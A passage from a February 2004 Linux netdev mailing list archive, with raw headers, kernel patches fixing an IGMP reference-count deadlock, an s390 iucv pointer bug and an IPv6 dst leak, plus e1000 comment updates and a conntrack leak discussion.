"5.2.30.1-k1"; +char e1000_copyright[] = "Copyright (c) 1999-2004 Intel Corporation."; /* e1000_pci_tbl - PCI Device ID Table * diff -Naurp netdev-2.6/drivers/net/e1000/e1000_osdep.h netdev-2.6/drivers/net/e1000.mod/e1000_osdep.h --- netdev-2.6/drivers/net/e1000/e1000_osdep.h 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_osdep.h 2004-02-02 12:14:13.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff -Naurp netdev-2.6/drivers/net/e1000/e1000_param.c netdev-2.6/drivers/net/e1000.mod/e1000_param.c --- netdev-2.6/drivers/net/e1000/e1000_param.c 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_param.c 2004-02-02 12:14:52.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -63,7 +63,7 @@ MODULE_PARM_DESC(X, S); /* Transmit Descriptor Count * * Valid Range: 80-256 for 82542 and 82543 gigabit ethernet controllers - * Valid Range: 80-4096 for 82544 + * Valid Range: 80-4096 for 82544 and newer * * Default Value: 256 */ @@ -73,7 +73,7 @@ E1000_PARAM(TxDescriptors, "Number of tr /* Receive Descriptor Count * * Valid Range: 80-256 for 82542 and 82543 gigabit ethernet controllers - * Valid Range: 80-4096 for 82544 + * Valid Range: 80-4096 for 82544 and newer * * Default Value: 256 */ @@ -289,7 +289,7 @@ static void e1000_check_copper_options(s * e1000_check_options - Range Checking for Command Line Parameters * @adapter: board private structure * - * This routine checks all command line paramters for valid user + * This routine checks all command line parameters for valid user * input. If an invalid value is given, or if no user specified * value exists, a default value is used. The final value is stored * in a variable in the adapter structure. From dlstevens@us.ibm.com Mon Feb 2 15:42:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 15:42:28 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12NgO7J015927 for ; Mon, 2 Feb 2004 15:42:24 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i12NfGpZ620196; Mon, 2 Feb 2004 18:41:16 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i12Nf9l7106114; Mon, 2 Feb 2004 16:41:14 -0700 Importance: Normal Sensitivity: Subject: Re: Deadlock problem with dev->refcnt somewhere in netlink/multicast... [PATCH] To: Willy Tarreau , "David S. Miller" Cc: netdev@oss.sgi.com, jgarzik@pobox.com, Alexandre.Cassen@wanadoo.fr X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Mon, 2 Feb 2004 16:41:11 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/02/2004 16:41:14 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F" X-archive-position: 2960 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 7066 Lines: 189 --0__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F Content-type: multipart/alternative; Boundary="1__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F" --1__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F Content-type: text/plain; charset=US-ASCII Below is a patch for the reference count problem you ran into. The problem is that the IGMP code was using "IFF_UP" to determine if a report should be sent or a timer should be started. But it is not necessarily cleared during a destroy_dev. The IPv4 code was also missing an ip_mc_down() call added in the IPv6 code for a similar case by Jan Oravec. The patch is for 2.4.x but also applies to 2.6.x. In-line for whitespace-mangled viewing and attached for applying. Thanks for reporting the problem, Willy, and let me know if you have any problems with the patch. +-DLS diff -ruN linux-2.4.25-pre8/net/ipv4/igmp.c linux-2.4.25-pre8F2/net/ipv4/igmp.c --- linux-2.4.25-pre8/net/ipv4/igmp.c 2004-01-29 16:21:28.000000000 -0800 +++ linux-2.4.25-pre8F2/net/ipv4/igmp.c 2004-02-02 14:43:40.000000000 -0800 @@ -1051,7 +1051,7 @@ reporter = im->reporter; igmp_stop_timer(im); - if (in_dev->dev->flags & IFF_UP) { + if (!in_dev->dead) { if (IGMP_V1_SEEN(in_dev)) goto done; if (IGMP_V2_SEEN(in_dev)) { @@ -1082,6 +1082,8 @@ if (im->multiaddr == IGMP_ALL_HOSTS) return; + if (in_dev->dead) + return; if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) { spin_lock_bh(&im->lock); igmp_start_timer(im, IGMP_Initial_Report_Delay); @@ -1155,7 +1157,7 @@ igmpv3_del_delrec(in_dev, im->multiaddr); #endif igmp_group_added(im); - if (in_dev->dev->flags & IFF_UP) + if (!in_dev->dead) ip_rt_multicast_event(in_dev); out: return; @@ -1179,7 +1181,7 @@ write_unlock_bh(&in_dev->lock); igmp_group_dropped(i); - if (in_dev->dev->flags & IFF_UP) + if (!in_dev->dead) ip_rt_multicast_event(in_dev); ip_ma_put(i); @@ -1255,6 +1257,9 @@ ASSERT_RTNL(); + /* Deactivate timers */ + ip_mc_down(in_dev); + write_lock_bh(&in_dev->lock); while ((i = in_dev->mc_list) != NULL) { in_dev->mc_list = i->next; (See attached file: 2.4igmpref.patch) --1__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Below is a patch for the reference count problem you ran into.

The problem is that the IGMP code was using "IFF_UP" to determine
if a report should be sent or a timer should be started. But it is not
necessarily cleared during a destroy_dev.

The IPv4 code was also missing an ip_mc_down() call added in the
IPv6 code for a similar case by Jan Oravec.

The patch is for 2.4.x but also applies to 2.6.x. In-line for whitespace-mangled
viewing and attached for applying.

Thanks for reporting the problem, Willy, and let me know if you have any
problems with the patch.
+-DLS

diff -ruN linux-2.4.25-pre8/net/ipv4/igmp.c linux-2.4.25-pre8F2/net/ipv4/igmp.c
--- linux-2.4.25-pre8/net/ipv4/igmp.c 2004-01-29 16:21:28.000000000 -0800
+++ linux-2.4.25-pre8F2/net/ipv4/igmp.c 2004-02-02 14:43:40.000000000 -0800
@@ -1051,7 +1051,7 @@
reporter = im->reporter;
igmp_stop_timer(im);

- if (in_dev->dev->flags & IFF_UP) {
+ if (!in_dev->dead) {
if (IGMP_V1_SEEN(in_dev))
goto done;
if (IGMP_V2_SEEN(in_dev)) {
@@ -1082,6 +1082,8 @@
if (im->multiaddr == IGMP_ALL_HOSTS)
return;

+ if (in_dev->dead)
+ return;
if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) {
spin_lock_bh(&im->lock);
igmp_start_timer(im, IGMP_Initial_Report_Delay);
@@ -1155,7 +1157,7 @@
igmpv3_del_delrec(in_dev, im->multiaddr);
#endif
igmp_group_added(im);
- if (in_dev->dev->flags & IFF_UP)
+ if (!in_dev->dead)
ip_rt_multicast_event(in_dev);
out:
return;
@@ -1179,7 +1181,7 @@
write_unlock_bh(&in_dev->lock);
igmp_group_dropped(i);

- if (in_dev->dev->flags & IFF_UP)
+ if (!in_dev->dead)
ip_rt_multicast_event(in_dev);

ip_ma_put(i);
@@ -1255,6 +1257,9 @@

ASSERT_RTNL();

+ /* Deactivate timers */
+ ip_mc_down(in_dev);
+
write_lock_bh(&in_dev->lock);
while ((i = in_dev->mc_list) != NULL) {
in_dev->mc_list = i->next;

(See attached file: 2.4igmpref.patch)
--1__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F-- --0__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F Content-type: application/octet-stream; name="2.4igmpref.patch" Content-Disposition: attachment; filename="2.4igmpref.patch" Content-ID: <10__=07BBE4BDDF13732F8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNS1wcmU4L25ldC9pcHY0L2lnbXAuYyBsaW51eC0yLjQuMjUt cHJlOEYyL25ldC9pcHY0L2lnbXAuYwotLS0gbGludXgtMi40LjI1LXByZTgvbmV0L2lwdjQvaWdt cC5jCTIwMDQtMDEtMjkgMTY6MjE6MjguMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjQuMjUt cHJlOEYyL25ldC9pcHY0L2lnbXAuYwkyMDA0LTAyLTAyIDE0OjQzOjQwLjAwMDAwMDAwMCAtMDgw MApAQCAtMTA1MSw3ICsxMDUxLDcgQEAKIAlyZXBvcnRlciA9IGltLT5yZXBvcnRlcjsKIAlpZ21w X3N0b3BfdGltZXIoaW0pOwogCi0JaWYgKGluX2Rldi0+ZGV2LT5mbGFncyAmIElGRl9VUCkgewor CWlmICghaW5fZGV2LT5kZWFkKSB7CiAJCWlmIChJR01QX1YxX1NFRU4oaW5fZGV2KSkKIAkJCWdv dG8gZG9uZTsKIAkJaWYgKElHTVBfVj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aW5fZGV2LT5tY19saXN0KSAhPSBOVUxM KSB7CiAJCWluX2Rldi0+bWNfbGlzdCA9IGktPm5leHQ7Cg== --0__=07BBE4BDDF13732F8f9e8a93df938690918c07BBE4BDDF13732F-- From davem@redhat.com Mon Feb 2 15:48:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 15:48:43 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12NmZ7J016397 for ; Mon, 2 Feb 2004 15:48:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i12Nlub10518; Mon, 2 Feb 2004 18:47:56 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i12Nlua00851; Mon, 2 Feb 2004 18:47:56 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i12NlQkC008023; Mon, 2 Feb 2004 18:47:27 -0500 Date: Mon, 2 Feb 2004 15:47:55 -0800 From: "David S. Miller" To: David Stevens Cc: willy@w.ods.org, netdev@oss.sgi.com, jgarzik@pobox.com, Alexandre.Cassen@wanadoo.fr Subject: Re: Deadlock problem with dev->refcnt somewhere in netlink/multicast... [PATCH] Message-Id: <20040202154755.311745d1.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2961 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 496 Lines: 13 On Mon, 2 Feb 2004 16:41:11 -0700 David Stevens wrote: > Below is a patch for the reference count problem you ran into. > > The problem is that the IGMP code was using "IFF_UP" to determine > if a report should be sent or a timer should be started. But it is not > necessarily cleared during a destroy_dev. > > The IPv4 code was also missing an ip_mc_down() call added in the > IPv6 code for a similar case by Jan Oravec. Applied to both 2.4.x and 2.6.x, thanks David. From zaitcev@redhat.com Mon Feb 2 20:12:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 20:12:16 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i134C77J030887 for ; Mon, 2 Feb 2004 20:12:08 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i134C5b10473; Mon, 2 Feb 2004 23:12:05 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i134C5a15862; Mon, 2 Feb 2004 23:12:05 -0500 Received: from niphredil.zaitcev.lan (vpn50-74.rdu.redhat.com [172.16.50.74]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i134BZkC006898; Mon, 2 Feb 2004 23:11:36 -0500 Date: Mon, 2 Feb 2004 20:12:03 -0800 From: Pete Zaitcev To: schwidefsky@de.ibm.com Cc: netdev@oss.sgi.com Subject: Patchlet 2.6 iucv Message-Id: <20040202201203.4c8b2053.zaitcev@redhat.com> Organization: Red Hat, Inc. X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2963 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zaitcev@redhat.com Precedence: bulk X-list: netdev Content-Length: 642 Lines: 19 Hi, Martin, it seems that someone misused container_of. Spotted by Al Viro. Please pass to whoever is responsible for IUCV. -- Pete --- linux-2.6.1/drivers/s390/net/netiucv.c 2003-10-01 15:17:54.000000000 -0700 +++ linux-2.6.1-s390/drivers/s390/net/netiucv.c 2004-02-02 19:59:11.000000000 -0800 @@ -1258,8 +1258,7 @@ buffer_write (struct device *dev, const char *buf, size_t count) { struct netiucv_priv *priv = dev->driver_data; - struct net_device *ndev = - container_of((void *)priv, struct net_device, priv); + struct net_device *ndev = priv->conn->netdev; char *e; int bs1; char tmp[CTRL_BUFSIZE]; From willy@w.ods.org Mon Feb 2 22:01:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 22:01:39 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1361QKO005386 for ; Mon, 2 Feb 2004 22:01:27 -0800 Date: Tue, 3 Feb 2004 07:00:48 +0100 From: Willy Tarreau To: David Stevens Cc: "David S. Miller" , netdev@oss.sgi.com, jgarzik@pobox.com, Alexandre.Cassen@wanadoo.fr Subject: Re: Deadlock problem with dev->refcnt somewhere in netlink/multicast... [PATCH] Message-ID: <20040203060048.GA3531@alpha.home.local> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-archive-position: 2964 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 799 Lines: 26 Hi David, On Mon, Feb 02, 2004 at 04:41:11PM -0700, David Stevens wrote: > Below is a patch for the reference count problem you ran into. > > The problem is that the IGMP code was using "IFF_UP" to determine > if a report should be sent or a timer should be started. But it is not > necessarily cleared during a destroy_dev. > > The IPv4 code was also missing an ip_mc_down() call added in the > IPv6 code for a similar case by Jan Oravec. I would never have found this myself ! > The patch is for 2.4.x but also applies to 2.6.x. In-line for > whitespace-mangled > viewing and attached for applying. > > Thanks for reporting the problem, Willy, and let me know if you have any > problems with the patch. Thanks a lot, I will try ASAP and will report if I still can break it. Cheers, Willy From yoshfuji@linux-ipv6.org Mon Feb 2 23:27:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 23:27:09 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i137R5KO013033 for ; Mon, 2 Feb 2004 23:27:06 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7B73233CA5; Tue, 3 Feb 2004 16:27:54 +0900 (JST) Date: Tue, 03 Feb 2004 16:27:54 +0900 (JST) Message-Id: <20040203.162754.96958174.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] IPV6: fix a possible dst leakage in ndisc_send_redirect() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2965 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 509 Lines: 21 Hello. D: fix a dst leakage in error path in ndisc_send_redirect(). Thanks. ===== net/ipv6/ndisc.c 1.64 vs edited ===== --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ndisc.c Tue Feb 3 16:18:36 2004 @@ -1365,6 +1365,7 @@ 1, &err); if (buff == NULL) { ND_PRINTK1("ndisc_send_redirect: alloc_skb failed\n"); + dst_release(dst); return; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From ak@suse.de Tue Feb 3 00:14:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 00:14:30 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i138ELKO017115 for ; Tue, 3 Feb 2004 00:14:24 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 8994211F690; Tue, 3 Feb 2004 09:14:15 +0100 (CET) Date: Tue, 3 Feb 2004 09:14:11 +0100 From: Andi Kleen To: Jozsef Kadlecsik Cc: steve@navaho.co.uk, netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) Message-Id: <20040203091411.19d3a676.ak@suse.de> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2966 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 461 Lines: 15 On Mon, 2 Feb 2004 14:46:24 +0100 (CET) Jozsef Kadlecsik wrote: > > You convinced me: something is really fishy. I fire up debugging and > checking. I also have some problems with conntrack since updating to 2.6.2rc3 from 2.6.1 on x86-64. Some TCP connections for the masqueraded machines seem to go extremly slow. I haven't investigated more closely yet. /proc/slabinfo doesn't show leaks for the conntrack slab though. -Andi From yoshfuji@linux-ipv6.org Tue Feb 3 00:23:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 00:23:41 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i138NUKO020657 for ; Tue, 3 Feb 2004 00:23:31 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7DEB733CC2; Tue, 3 Feb 2004 17:24:19 +0900 (JST) Date: Tue, 03 Feb 2004 17:24:19 +0900 (JST) Message-Id: <20040203.172419.43878373.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: vnuorval@tcs.hut.fi, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: (usagi-core 17336) Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040203.171952.105535895.yoshfuji@linux-ipv6.org> References: <20040128115910.0a83e906.davem@redhat.com> <20040203.171952.105535895.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 2967 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1030 Lines: 23 In article <20040203.171952.105535895.yoshfuji@linux-ipv6.org> (at Tue, 03 Feb 2004 17:19:52 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > In article <20040128115910.0a83e906.davem@redhat.com> (at Wed, 28 Jan 2004 11:59:10 -0800), "David S. Miller" says: > > > On Tue, 27 Jan 2004 23:11:20 +0200 (EET) > > Ville Nuorvala wrote: > > > > > Dave, since even Pekka is now convinced this patch doesn't break anything, > > > would you consider applying it? :) > > > > Yoshfuji asked for some time, so let us give it to him so he > > may analyze your change without rushing. > > David, I'm (or we're) ok with this patch. Please apply. Thanks. > (But I still do not eat the proxy ND patch.) Oops, I need to say something. I however think this should be postponed after linux-2.6.2 is up since this patch is not so "critical" fix. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Feb 3 01:00:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 01:00:09 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i138xtKO022117 for ; Tue, 3 Feb 2004 00:59:56 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1F99C33CA5; Tue, 3 Feb 2004 17:19:53 +0900 (JST) Date: Tue, 03 Feb 2004 17:19:52 +0900 (JST) Message-Id: <20040203.171952.105535895.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: vnuorval@tcs.hut.fi, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040128115910.0a83e906.davem@redhat.com> References: <20040128115910.0a83e906.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2968 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 689 Lines: 17 In article <20040128115910.0a83e906.davem@redhat.com> (at Wed, 28 Jan 2004 11:59:10 -0800), "David S. Miller" says: > On Tue, 27 Jan 2004 23:11:20 +0200 (EET) > Ville Nuorvala wrote: > > > Dave, since even Pekka is now convinced this patch doesn't break anything, > > would you consider applying it? :) > > Yoshfuji asked for some time, so let us give it to him so he > may analyze your change without rushing. David, I'm (or we're) ok with this patch. Please apply. Thanks. (But I still do not eat the proxy ND patch.) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From kadlec@blackhole.kfki.hu Tue Feb 3 01:22:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 01:22:35 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i139MDKO025984 for ; Tue, 3 Feb 2004 01:22:14 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id 5DCF387B1; Tue, 3 Feb 2004 09:48:55 +0100 (CET) Date: Tue, 3 Feb 2004 09:48:55 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2969 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 892 Lines: 26 On Mon, 2 Feb 2004, Steve Hill wrote: > Just to confirm, you have your network set up like: > > [ Machine 1 ]----[ Machine 2 ]----[Machine 3] > > Machines 1 and 3 are running the 2.4 kernel for me, but that shouldn't be > important. > Machine 2 is running 2.6.2rc2. I created exactly the same setup (machine 1 and 3 are UMLs) and could not reproduce the problem. tcpdump shows that machine 1 sends fragmented ICMP echo requests and machine 3 sends ICMP echo reply back. On machine 2, ip_conntrack_max is lowered to 10, still there is no problem after hundreds of pings. Do you have any extra patch applied on the top of 2.6.2rc2? Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From steve@navaho.co.uk Tue Feb 3 06:36:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 06:36:03 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13EZxKO020055 for ; Tue, 3 Feb 2004 06:35:59 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075805886; Tue, 03 Feb 2004 14:35:45 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i13EZj5G010990; Tue, 3 Feb 2004 14:35:45 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i13EZjAv010986; Tue, 3 Feb 2004 14:35:45 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Tue, 3 Feb 2004 14:35:45 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401f7ea2 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2970 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 1067 Lines: 25 On Tue, 3 Feb 2004, Jozsef Kadlecsik wrote: > I created exactly the same setup (machine 1 and 